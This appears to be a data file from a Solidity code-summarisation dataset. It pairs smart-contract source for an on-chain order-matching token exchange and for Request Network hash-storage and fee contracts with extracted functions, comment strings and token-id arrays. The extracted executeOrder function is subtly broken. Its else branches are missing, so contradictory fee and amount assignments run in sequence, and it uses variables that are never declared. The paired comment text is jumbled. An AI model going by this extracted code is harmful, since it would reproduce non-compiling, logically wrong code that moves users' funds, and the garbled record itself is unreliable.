uint sellOrderID = 0;
for (uint i = minSellIndex; i<minSellIndex + 10; i++) {
sellStartPos[minSellPrice] = i;
if (i >= sellTokenOrderMap[minSellPrice].length) {
break;
}
if (sellTokenOrderMap[minSellPrice][i] == 0) {
continue;
}else {
sellOrderID = sellTokenOrderMap[minSellPrice][i];
break;
}
}
return sellOrderID;
}
/* query first buy order ID on max buy price, return 0 if order ID can not be found */
function queryBuyOrderID() internal returns (uint) {
uint maxBuyIndex = buyStartPos[maxBuyPrice];
uint buyOrderID = 0;
for (uint i = maxBuyIndex; i<maxBuyIndex + 10; i++) {
buyStartPos[maxBuyPrice] = i;
if (i >= buyTokenOrderMap[maxBuyPrice].length) {
break;
}
if (buyTokenOrderMap[maxBuyPrice][i] == 0) {
continue;
}else {
buyOrderID = buyTokenOrderMap[maxBuyPrice][i];
break;
}
}
return buyOrderID;
}
/* execute order */
function executeOrder() public {
if (minSellPrice > maxBuyPrice) {
return;
}
uint buyOrderID = queryBuyOrderID();
if (buyOrderID == 0) {
dealEmptyPrice(maxBuyPrice.mul(10**orderDecimals), true);
return;
}
uint buyPrice = allBuyOrder[buyOrderID].price;
uint buyAmount = allBuyOrder[buyOrderID].amount;
uint buyWithhold = 0;
uint sellOrderID = querySellOrderID();
if (sellOrderID == 0) {
dealEmptyPrice(minSellPrice.mul(10**orderDecimals), false);
return;
}
uint sellPrice = allSellOrder[sellOrderID].price;
uint sellAmount = allSellOrder[sellOrderID].amount;
// set buyer & seller
address buyer = allBuyOrder[buyOrderID].user;
address seller = allSellOrder[sellOrderID].user;
uint tokenReceiverFeeRate;
uint ttcReceiverFeeRate;
// get maker & taker
if (buyOrderID > sellOrderID) {
// seller is maker
tokenReceiverFeeRate = takerFeeRate;
ttcReceiverFeeRate = makerFeeRate;
lastExecutionPrice = sellPrice;
}else {
// buyer is maker
tokenReceiverFeeRate = makerFeeRate;
ttcReceiverFeeRate = takerFeeRate;
lastExecutionPrice = buyPrice;
}
// update data
uint executeAmount = buyAmount;
if (buyAmount == sellAmount ) {
buyWithhold = allBuyOrder[buyOrderID].withhold;
delete allSellOrder[sellOrderID];
delete allBuyOrder[buyOrderID];
buyStartPos[buyPrice] += 1;
sellStartPos[sellPrice] += 1;
} else if (buyAmount > sellAmount){
executeAmount = sellAmount;
buyWithhold = popBuyWithhold(buyOrderID,executeAmount,lastExecutionPrice, tokenReceiverFeeRate);
allBuyOrder[buyOrderID].amount -= executeAmount;
delete allSellOrder[sellOrderID];
sellStartPos[sellPrice] += 1;
} else {
allSellOrder[sellOrderID].amount -= executeAmount;
buyWithhold = allBuyOrder[buyOrderID].withhold;
delete allBuyOrder[buyOrderID];
buyStartPos[buyPrice] += 1;
}
buyAmountByPrice[buyPrice] = buyAmountByPrice[buyPrice].sub(executeAmount);
sellAmountByPrice[sellPrice] = sellAmountByPrice[sellPrice].sub(executeAmount);
// transfer
MyToken.transfer(buyer, executeAmount);
require(seller.send(executeAmount.mul(lastExecutionPrice).div(10**(decimals-orderDecimals)).mul(million.sub(ttcReceiverFeeRate)).div(million)));
if (buyOrderID < sellOrderID) {
TE(3, buyer,buyOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), true);
TE(4, seller,sellOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), false);
}else {
TE(3, buyer,buyOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), false);
TE(4, seller,sellOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), true);
}
uint exWithhold = calculateExWithhold(executeAmount,lastExecutionPrice,tokenReceiverFeeRate,buyWithhold);
refundBuyerExtraTTC(buyer,executeAmount,buyPrice,lastExecutionPrice,exWithhold);
//
collectTradeFee(executeAmount, lastExecutionPrice,ttcReceiverFeeRate, buyWithhold, exWithhold);
// clear empty data
dealEmptyPrice(buyPrice.mul(10**orderDecimals), true);
dealEmptyPrice(sellPrice.mul(10**orderDecimals), false);
}
/* collect trade fee to adminWithdrawAddress */
function collectTradeFee(uint _amount,uint _lastPrice, uint _ttcReceiverFeeRate, uint _withhold, uint _exWithhold) internal {
require(adminWithdrawAddress != address(0));
uint tradeFee = _amount.mul(_lastPrice).div(10**(decimals-orderDecimals)).mul(_ttcReceiverFeeRate).div(million);
if (_withhold > 0 && _withhold > _exWithhold) {
tradeFee = tradeFee.add(_withhold).sub(_exWithhold);
}
if (tradeFee > 0){
require(adminWithdrawAddress.send(tradeFee));
TE(8, adminWithdrawAddress, 0, 0, _amount, tradeFee.mul(10**decimals).div(_amount),false);
}
}
/* return the withhold for this tx and update the withhold of order */
function popBuyWithhold(uint _buyOrderID,uint _amount,uint _lastPrice, uint _tokenReceiverFeeRate) internal returns (uint) {
uint buyWithhold = _amount.mul(_lastPrice).div(10**(decimals-orderDecimals)).mul(_tokenReceiverFeeRate).div(million);
if (buyWithhold > allBuyOrder[_buyOrderID].withhold) {
buyWithhold = allBuyOrder[_buyOrderID].withhold;
}
allBuyOrder[_buyOrderID].withhold = allBuyOrder[_buyOrderID].withhold.sub(buyWithhold);
return buyWithhold;
}
/* return the exwithhold value of this tx, when the buy order execute as taker at first , and as maker full fill order, then ... */
function calculateExWithhold(uint _amount, uint _lastPrice, uint _tokenReceiverFeeRate, uint _withhold) internal pure returns (uint) {
uint exWithhold = 0;
uint buyTradeFee = _amount.mul(_lastPrice).div(10**(decimals-orderDecimals)).mul(_tokenReceiverFeeRate).div(million);
if (buyTradeFee < _withhold) {
exWithhold = _withhold.sub(buyTradeFee);
}
return exWithhold;
}
/* refund ttc to buyer, (diff price)*amount + exwithhold */
function refundBuyerExtraTTC(address _buyer, uint _amount, uint _buyPrice, uint _lastPrice, uint _exWithhold) internal {
uint refund = 0;
if (_buyPrice > _lastPrice){
uint diffPrice = _buyPrice.sub(_lastPrice);
refund = _amount.mul(diffPrice).div(10**(decimals-orderDecimals));
}
if (_exWithhold > 0){
refund = refund.add(_exWithhold);
}
if (refund > 0) {
require(_buyer.send(refund));
TE(7, _buyer,0,0, _amount, refund.mul(10**decimals).div(_amount),false);
}
}
/* deal empty price */
function dealEmptyPrice(uint _price, bool _isBuyOrder ) public {
_price = _price.div(10**orderDecimals);
if (_isBuyOrder) {
if (buyStartPos[_price] == buyTokenOrderMap[_price].length) {
delete buyStartPos[_price];
delete buyTokenOrderMap[_price];
for( i = maxBuyPrice;i >= 0 ; i-- ){
if (maxBuyPrice - i == maxPriceRange ) {
maxBuyPrice = i;
break;
}
if (i == 0) {
maxBuyPrice = 0;
break;
}
if (buyTokenOrderMap[i].length > 0) {
maxBuyPrice = i;
break;
}
}
}
} else {
if (sellStartPos[_price] == sellTokenOrderMap[_price].length) {
delete sellStartPos[_price];
delete sellTokenOrderMap[_price];
for(uint i = minSellPrice;i <= minSellPrice.add(maxPriceRange); i++){
if (minSellPrice == i - maxPriceRange) {
minSellPrice = i;
break;
}
if (sellTokenOrderMap[i].length > 0) {
minSellPrice = i;
break;
}
}
}
}
}
/* admin cancel buy/sell order */
function adminCancelOrder(bool _buy, uint _orderID, uint _index) public onlyAdmin{
if (_buy == true) {
cancelBuy(_orderID, _index, true);
}else {
cancelSell(_orderID, _index, true);
}
}
/* user cancel self buy order */
function cancelBuyOrder(uint _orderID, uint _index) public {
require(allBuyOrder[_orderID].user == msg.sender);
cancelBuy(_orderID, _index, false);
}
/* cancel buy order */
function cancelBuy(uint _orderID, uint _index, bool _admin) internal {
address orderOwner = allBuyOrder[_orderID].user;
uint buyPrice = allBuyOrder[_orderID].price;
uint buyAmount = allBuyOrder[_orderID].amount;
require(buyTokenOrderMap[buyPrice][_index] == _orderID && allBuyOrder[_orderID].amount > 0);
uint value = buyAmount.mul(buyPrice).div(10**(decimals-orderDecimals)).add(allBuyOrder[_orderID].withhold);
allBuyOrder[_orderID].amount = 0; // for reentrancy
allBuyOrder[_orderID].withhold = 0; // for reentrancy
require(allBuyOrder[_orderID].user.send(value));
buyTokenOrderMap[buyPrice][_index] = 0;
if (_index == 0){
buyStartPos[buyPrice] = 1;
}else if (buyStartPos[buyPrice] == _index ) {
buyStartPos[buyPrice] = _index + 1;
}
dealEmptyPrice(buyPrice.mul(10**orderDecimals), true);
delete allBuyOrder[_orderID];
TE(5, orderOwner ,_orderID, _index, buyAmount, buyPrice.mul(10**orderDecimals),_admin);
buyAmountByPrice[buyPrice] = buyAmountByPrice[buyPrice].sub(buyAmount);
}
/* user cancel self sell order */
function cancelSellOrder(uint _orderID, uint _index) public {
require(allSellOrder[_orderID].user == msg.sender);
cancelSell( _orderID, _index, false);
}
/* cancel sell order */
function cancelSell(uint _orderID, uint _index, bool _admin) internal {
address orderOwner = allSellOrder[_orderID].user;
uint sellPrice = allSellOrder[_orderID].price;
uint sellAmount = allSellOrder[_orderID].amount;
require(sellTokenOrderMap[sellPrice][_index] == _orderID && allSellOrder[_orderID].amount > 0);
allSellOrder[_orderID].amount = 0; // for reentrancy
MyToken.transfer(allSellOrder[_orderID].user, sellAmount);
sellTokenOrderMap[sellPrice][_index] = 0;
if (_index == 0){
sellStartPos[sellPrice] = 1;
}else if (sellStartPos[sellPrice] == _index ) {
sellStartPos[sellPrice] = _index + 1;
}
dealEmptyPrice(sellPrice.mul(10**orderDecimals), false);
delete allSellOrder[_orderID];
TE(6, orderOwner,_orderID, _index, sellAmount, sellPrice.mul(10**orderDecimals), _admin);
sellAmountByPrice[sellPrice] = sellAmountByPrice[sellPrice].sub(sellAmount);
}
/* get detail of order */
function getOrderDetails(uint _orderID, bool _isBuyOrder) public view returns(address,uint,uint,uint){
if (_isBuyOrder){
return (allBuyOrder[_orderID].user,allBuyOrder[_orderID].amount,allBuyOrder[_orderID].price.mul(10**orderDecimals),allBuyOrder[_orderID].withhold);
}else{
return (allSellOrder[_orderID].user,allSellOrder[_orderID].amount,allSellOrder[_orderID].price.mul(10**orderDecimals),allSellOrder[_orderID].withhold);
}
}
/* get order index by price, return 0 if order ID can not be found */
function getOrderPriceDetails(uint _price, uint _index, bool _isBuyOrder) public view returns(uint) {
_price = _price.div(10**orderDecimals);
if (_isBuyOrder ){
if (_index < buyTokenOrderMap[_price].length) {
return buyTokenOrderMap[_price][_index];
} else {
return 0;
}
} else {
if (_index < sellTokenOrderMap[_price].length){
return sellTokenOrderMap[_price][_index];
} else {
return 0;
}
}
}
/* get order index by price and order id */
function getOrderIndex(uint _price, bool _isBuyOrder, uint _targetOrderID, uint _start, uint _len) public view returns(uint){
_price = _price.div(10**orderDecimals);
if (_isBuyOrder){
for(uint i = _start; i < _start + _len ;i++){
if (buyTokenOrderMap[_price][i] == _targetOrderID) {
return i;
}
}
}else{
for(i = _start; i < _start + _len ; i++){
if (sellTokenOrderMap[_price][i] == _targetOrderID) {
return i;
}
}
}
// make sure to catch the error, error not equal zero
require(false);
}
/* get order length by price and order type */
function getOrderLengthByPrice(uint _price, bool _isBuyOrder) public view returns(uint) {
_price = _price.div(10**orderDecimals);
if (_isBuyOrder){
return buyTokenOrderMap[_price].length;
}else{
return sellTokenOrderMap[_price].length;
}
return 0;
}
}
| execute order */ get maker & taker seller is maker buyer is maker | function executeOrder() public {
if (minSellPrice > maxBuyPrice) {
return;
}
uint buyOrderID = queryBuyOrderID();
if (buyOrderID == 0) {
dealEmptyPrice(maxBuyPrice.mul(10**orderDecimals), true);
return;
}
uint buyPrice = allBuyOrder[buyOrderID].price;
uint buyAmount = allBuyOrder[buyOrderID].amount;
uint buyWithhold = 0;
uint sellOrderID = querySellOrderID();
if (sellOrderID == 0) {
dealEmptyPrice(minSellPrice.mul(10**orderDecimals), false);
return;
}
uint sellPrice = allSellOrder[sellOrderID].price;
uint sellAmount = allSellOrder[sellOrderID].amount;
address seller = allSellOrder[sellOrderID].user;
uint tokenReceiverFeeRate;
uint ttcReceiverFeeRate;
if (buyOrderID > sellOrderID) {
tokenReceiverFeeRate = takerFeeRate;
ttcReceiverFeeRate = makerFeeRate;
lastExecutionPrice = sellPrice;
tokenReceiverFeeRate = makerFeeRate;
ttcReceiverFeeRate = takerFeeRate;
lastExecutionPrice = buyPrice;
}
if (buyAmount == sellAmount ) {
buyWithhold = allBuyOrder[buyOrderID].withhold;
delete allSellOrder[sellOrderID];
delete allBuyOrder[buyOrderID];
buyStartPos[buyPrice] += 1;
sellStartPos[sellPrice] += 1;
executeAmount = sellAmount;
buyWithhold = popBuyWithhold(buyOrderID,executeAmount,lastExecutionPrice, tokenReceiverFeeRate);
allBuyOrder[buyOrderID].amount -= executeAmount;
delete allSellOrder[sellOrderID];
sellStartPos[sellPrice] += 1;
allSellOrder[sellOrderID].amount -= executeAmount;
buyWithhold = allBuyOrder[buyOrderID].withhold;
delete allBuyOrder[buyOrderID];
buyStartPos[buyPrice] += 1;
}
buyAmountByPrice[buyPrice] = buyAmountByPrice[buyPrice].sub(executeAmount);
sellAmountByPrice[sellPrice] = sellAmountByPrice[sellPrice].sub(executeAmount);
require(seller.send(executeAmount.mul(lastExecutionPrice).div(10**(decimals-orderDecimals)).mul(million.sub(ttcReceiverFeeRate)).div(million)));
if (buyOrderID < sellOrderID) {
TE(3, buyer,buyOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), true);
TE(4, seller,sellOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), false);
TE(3, buyer,buyOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), false);
TE(4, seller,sellOrderID, 0, executeAmount, lastExecutionPrice.mul(10**orderDecimals), true);
}
uint exWithhold = calculateExWithhold(executeAmount,lastExecutionPrice,tokenReceiverFeeRate,buyWithhold);
refundBuyerExtraTTC(buyer,executeAmount,buyPrice,lastExecutionPrice,exWithhold);
dealEmptyPrice(sellPrice.mul(10**orderDecimals), false);
}
| 12,559,447 | [
1,
8837,
1353,
342,
336,
312,
6388,
473,
268,
6388,
29804,
353,
312,
6388,
27037,
353,
312,
6388,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1836,
2448,
1435,
1071,
288,
203,
3639,
309,
261,
1154,
55,
1165,
5147,
405,
943,
38,
9835,
5147,
13,
288,
203,
5411,
327,
31,
203,
3639,
289,
203,
203,
3639,
2254,
30143,
2448,
734,
273,
843,
38,
9835,
2448,
734,
5621,
203,
3639,
309,
261,
70,
9835,
2448,
734,
422,
374,
13,
288,
203,
5411,
10490,
1921,
5147,
12,
1896,
38,
9835,
5147,
18,
16411,
12,
2163,
636,
1019,
31809,
3631,
638,
1769,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
2254,
30143,
5147,
273,
777,
38,
9835,
2448,
63,
70,
9835,
2448,
734,
8009,
8694,
31,
203,
3639,
2254,
30143,
6275,
273,
777,
38,
9835,
2448,
63,
70,
9835,
2448,
734,
8009,
8949,
31,
203,
3639,
2254,
30143,
1190,
21056,
273,
374,
31,
203,
203,
3639,
2254,
357,
80,
2448,
734,
273,
843,
55,
1165,
2448,
734,
5621,
203,
3639,
309,
261,
87,
1165,
2448,
734,
422,
374,
13,
288,
203,
5411,
10490,
1921,
5147,
12,
1154,
55,
1165,
5147,
18,
16411,
12,
2163,
636,
1019,
31809,
3631,
629,
1769,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
2254,
357,
80,
5147,
273,
777,
55,
1165,
2448,
63,
87,
1165,
2448,
734,
8009,
8694,
31,
203,
3639,
2254,
357,
80,
6275,
273,
777,
55,
1165,
2448,
63,
87,
1165,
2448,
734,
8009,
8949,
31,
203,
203,
3639,
1758,
29804,
273,
777,
55,
1165,
2448,
63,
87,
1165,
2448,
734,
8009,
1355,
31,
203,
203,
3639,
2254,
1147,
12952,
14667,
4727,
31,
203,
3639,
2254,
3574,
71,
12952,
14667,
4727,
2
] |
/**
*Submitted for verification at Etherscan.io on 2019-07-16
*/
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
/**
* @title WhitelistAdminRole
* @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts.
*/
contract WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(msg.sender);
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(msg.sender));
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(msg.sender);
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
/**
* @title WhitelistedRole
* @dev Whitelisted accounts have been approved by a WhitelistAdmin to perform certain actions (e.g. participate in a
* crowdsale). This role is special in that the only accounts that can add it are WhitelistAdmins (who can also remove
* it), and not Whitelisteds themselves.
*/
contract WhitelistedRole is WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistedAdded(address indexed account);
event WhitelistedRemoved(address indexed account);
Roles.Role private _whitelisteds;
modifier onlyWhitelisted() {
require(isWhitelisted(msg.sender));
_;
}
function isWhitelisted(address account) public view returns (bool) {
return _whitelisteds.has(account);
}
function addWhitelisted(address account) public onlyWhitelistAdmin {
_addWhitelisted(account);
}
function removeWhitelisted(address account) public onlyWhitelistAdmin {
_removeWhitelisted(account);
}
function renounceWhitelisted() public {
_removeWhitelisted(msg.sender);
}
function _addWhitelisted(address account) internal {
_whitelisteds.add(account);
emit WhitelistedAdded(account);
}
function _removeWhitelisted(address account) internal {
_whitelisteds.remove(account);
emit WhitelistedRemoved(account);
}
}
/**
* @title RequestHashStorage
* @notice This contract is the entry point to retrieve all the hashes of the request network system.
*/
contract RequestHashStorage is WhitelistedRole {
// Event to declare a new hash
event NewHash(string hash, address hashSubmitter, bytes feesParameters);
/**
* @notice Declare a new hash
* @param _hash hash to store
* @param _feesParameters Parameters use to compute the fees. This is a bytes to stay generic, the structure is on the charge of the hashSubmitter contracts.
*/
function declareNewHash(string calldata _hash, bytes calldata _feesParameters)
external
onlyWhitelisted
{
// Emit event for log
emit NewHash(_hash, msg.sender, _feesParameters);
}
// Fallback function returns funds to the sender
function()
external
{
revert("not payable fallback");
}
}
/**
* @title Bytes util library.
* @notice Collection of utility functions to manipulate bytes for Request.
*/
library Bytes {
/**
* @notice Extract a bytes32 from a bytes.
* @param data bytes from where the bytes32 will be extract
* @param offset position of the first byte of the bytes32
* @return address
*/
function extractBytes32(bytes memory data, uint offset)
internal
pure
returns (bytes32 bs)
{
require(offset >= 0 && offset + 32 <= data.length, "offset value should be in the correct range");
// solium-disable-next-line security/no-inline-assembly
assembly {
bs := mload(add(data, add(32, offset)))
}
}
}
/**
* @title StorageFeeCollector
*
* @notice StorageFeeCollector is a contract managing the fees
*/
contract StorageFeeCollector is WhitelistAdminRole {
using SafeMath for uint256;
/**
* Fee computation for storage are based on four parameters:
* minimumFee (wei) fee that will be applied for any size of storage
* rateFeesNumerator (wei) and rateFeesDenominator (byte) define the variable fee,
* for each <rateFeesDenominator> bytes above threshold, <rateFeesNumerator> wei will be charged
*
* Example:
* If the size to store is 50 bytes, the threshold is 100 bytes and the minimum fee is 300 wei,
* then 300 will be charged
*
* If rateFeesNumerator is 2 and rateFeesDenominator is 1 then 2 wei will be charged for every bytes above threshold,
* if the size to store is 150 bytes then the fee will be 300 + (150-100)*2 = 400 wei
*/
uint256 public minimumFee;
uint256 public rateFeesNumerator;
uint256 public rateFeesDenominator;
// address of the contract that will burn req token
address payable public requestBurnerContract;
event UpdatedFeeParameters(uint256 minimumFee, uint256 rateFeesNumerator, uint256 rateFeesDenominator);
event UpdatedMinimumFeeThreshold(uint256 threshold);
event UpdatedBurnerContract(address burnerAddress);
/**
* @param _requestBurnerContract Address of the contract where to send the ether.
* This burner contract will have a function that can be called by anyone and will exchange ether to req via Kyber and burn the REQ
*/
constructor(address payable _requestBurnerContract)
public
{
requestBurnerContract = _requestBurnerContract;
}
/**
* @notice Sets the fees rate and minimum fee.
* @dev if the _rateFeesDenominator is 0, it will be treated as 1. (in other words, the computation of the fees will not use it)
* @param _minimumFee minimum fixed fee
* @param _rateFeesNumerator numerator rate
* @param _rateFeesDenominator denominator rate
*/
function setFeeParameters(uint256 _minimumFee, uint256 _rateFeesNumerator, uint256 _rateFeesDenominator)
external
onlyWhitelistAdmin
{
minimumFee = _minimumFee;
rateFeesNumerator = _rateFeesNumerator;
rateFeesDenominator = _rateFeesDenominator;
emit UpdatedFeeParameters(minimumFee, rateFeesNumerator, rateFeesDenominator);
}
/**
* @notice Set the request burner address.
* @param _requestBurnerContract address of the contract that will burn req token (probably through Kyber)
*/
function setRequestBurnerContract(address payable _requestBurnerContract)
external
onlyWhitelistAdmin
{
requestBurnerContract = _requestBurnerContract;
emit UpdatedBurnerContract(requestBurnerContract);
}
/**
* @notice Computes the fees.
* @param _contentSize Size of the content of the block to be stored
* @return the expected amount of fees in wei
*/
function getFeesAmount(uint256 _contentSize)
public
view
returns(uint256)
{
// Transactions fee
uint256 computedAllFee = _contentSize.mul(rateFeesNumerator);
if (rateFeesDenominator != 0) {
computedAllFee = computedAllFee.div(rateFeesDenominator);
}
if (computedAllFee <= minimumFee) {
return minimumFee;
} else {
return computedAllFee;
}
}
/**
* @notice Sends fees to the request burning address.
* @param _amount amount to send to the burning address
*/
function collectForREQBurning(uint256 _amount)
internal
{
// .transfer throws on failure
requestBurnerContract.transfer(_amount);
}
}
/**
* @title RequestOpenHashSubmitter
* @notice Contract declares data hashes and collects the fees.
* @notice The hash is declared to the whole request network system through the RequestHashStorage contract.
* @notice Anyone can submit hashes.
*/
contract RequestOpenHashSubmitter is StorageFeeCollector {
RequestHashStorage public requestHashStorage;
/**
* @param _addressRequestHashStorage contract address which manages the hashes declarations
* @param _addressBurner Burner address
*/
constructor(address _addressRequestHashStorage, address payable _addressBurner)
StorageFeeCollector(_addressBurner)
public
{
requestHashStorage = RequestHashStorage(_addressRequestHashStorage);
}
/**
* @notice Submit a new hash to the blockchain.
*
* @param _hash Hash of the request to be stored
* @param _feesParameters fees parameters used to compute the fees. Here, it is the content size in an uint256
*/
function submitHash(string calldata _hash, bytes calldata _feesParameters)
external
payable
{
// extract the contentSize from the _feesParameters
uint256 contentSize = uint256(Bytes.extractBytes32(_feesParameters, 0));
// Check fees are paid
require(getFeesAmount(contentSize) == msg.value, "msg.value does not match the fees");
// Send fees to burner, throws on failure
collectForREQBurning(msg.value);
// declare the hash to the whole system through to RequestHashStorage
requestHashStorage.declareNewHash(_hash, _feesParameters);
}
// Fallback function returns funds to the sender
function()
external
payable
{
revert("not payable fallback");
}
} | Fallback function returns funds to the sender | function()
external
payable
{
revert("not payable fallback");
}
| 2,475,426 | [
1,
12355,
445,
1135,
284,
19156,
358,
326,
5793,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
1435,
203,
565,
3903,
203,
565,
8843,
429,
203,
225,
288,
203,
565,
15226,
2932,
902,
8843,
429,
5922,
8863,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
